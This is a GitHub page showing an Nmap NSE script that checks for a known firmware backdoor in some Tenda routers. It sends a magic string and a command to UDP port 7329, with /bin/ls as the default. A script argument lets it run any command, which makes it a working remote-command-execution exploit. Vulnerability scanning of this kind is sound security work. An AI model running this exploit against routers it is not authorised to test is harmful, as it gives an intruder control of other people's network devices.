-
Notifications
You must be signed in to change notification settings - Fork 14
/
tenda-backdoor.nse
84 lines (71 loc) · 2.66 KB
/
tenda-backdoor.nse
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
description = [[
Detects a firmware backdoor on some Tenda routers by connecting to a UDP port
7329 and executing a command. By default, it executes /bin/ls and checks
for the expected output.
Some of the vulnerable routers are W302R and W330R as well as re-branded models,
such as the Medialink MWN-WAPR150N. They all use the same “w302r_mfg” magic
packet string.
Other Tenda routers are possibly affected.
Discovered by Craig of /dev/ttyS0 (http://www.devttys0.com/).
Reference: http://www.devttys0.com/2013/10/from-china-with-love/
List of other possibly affected firmware versions:
http://ea.github.io/blog/2013/10/18/tenda-backdoor/
]]
---
-- @usage
-- nmap -sU -p 7329 --script tenda-backdoor <target>
--
-- @output
-- PORT STATE SERVICE REASON
-- 7329/udp open|filtered swx no-response
-- | tenda-backdoor:
-- | VULNERABLE:
-- | Firmware backdoor in some models of Tenda routers allow for remote command execution
-- | State: VULNERABLE
-- | Risk factor: High
-- | Description:
-- | Tenda routers have been found to contain a firmware backdoor allowing remote command execution by using a magic word on udp port 7329.
-- |
-- | References:
-- |_ http://www.devttys0.com/2013/10/from-china-with-love/
--
-- @args tenda-backdoor.command Command to execute on the router (need absolute path)
author = "Aleksandar Nikolic"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"exploit","vuln"}
local shortport = require "shortport"
local stdnse = require "stdnse"
local string = require "string"
local vulns = require "vulns"
local comm = require "comm"
local bin = require "bin"
portrule = shortport.portnumber({7329},"udp")
local arg_command = stdnse.get_script_args(SCRIPT_NAME .. ".command")
action = function(host, port)
local magic_string = "w302r_mfg" .. bin.pack("c",0) .. "x"
if not arg_command then
arg_command = "/bin/ls"
end
local status, result = comm.exchange(host, port,magic_string .. arg_command,{proto="udp"})
local vuln_table = {
title = "Firmware backdoor in some models of Tenda routers allow for remote command execution",
state = vulns.STATE.NOT_VULN,
risk_factor = "High",
description = [[
Tenda routers have been found to contain a firmware backdoor allowing remote command execution by using a magic word on udp port 7329.
]],
references = {
'http://www.devttys0.com/2013/10/from-china-with-love/',
}
}
if not status then
return
end
stdnse.print_debug(1,"result\n:"..result)
if result:find("etc_ro") then
vuln_table.state = vulns.STATE.VULN
local report = vulns.Report:new(SCRIPT_NAME, host, port)
return report:make_output(vuln_table)
end
return
end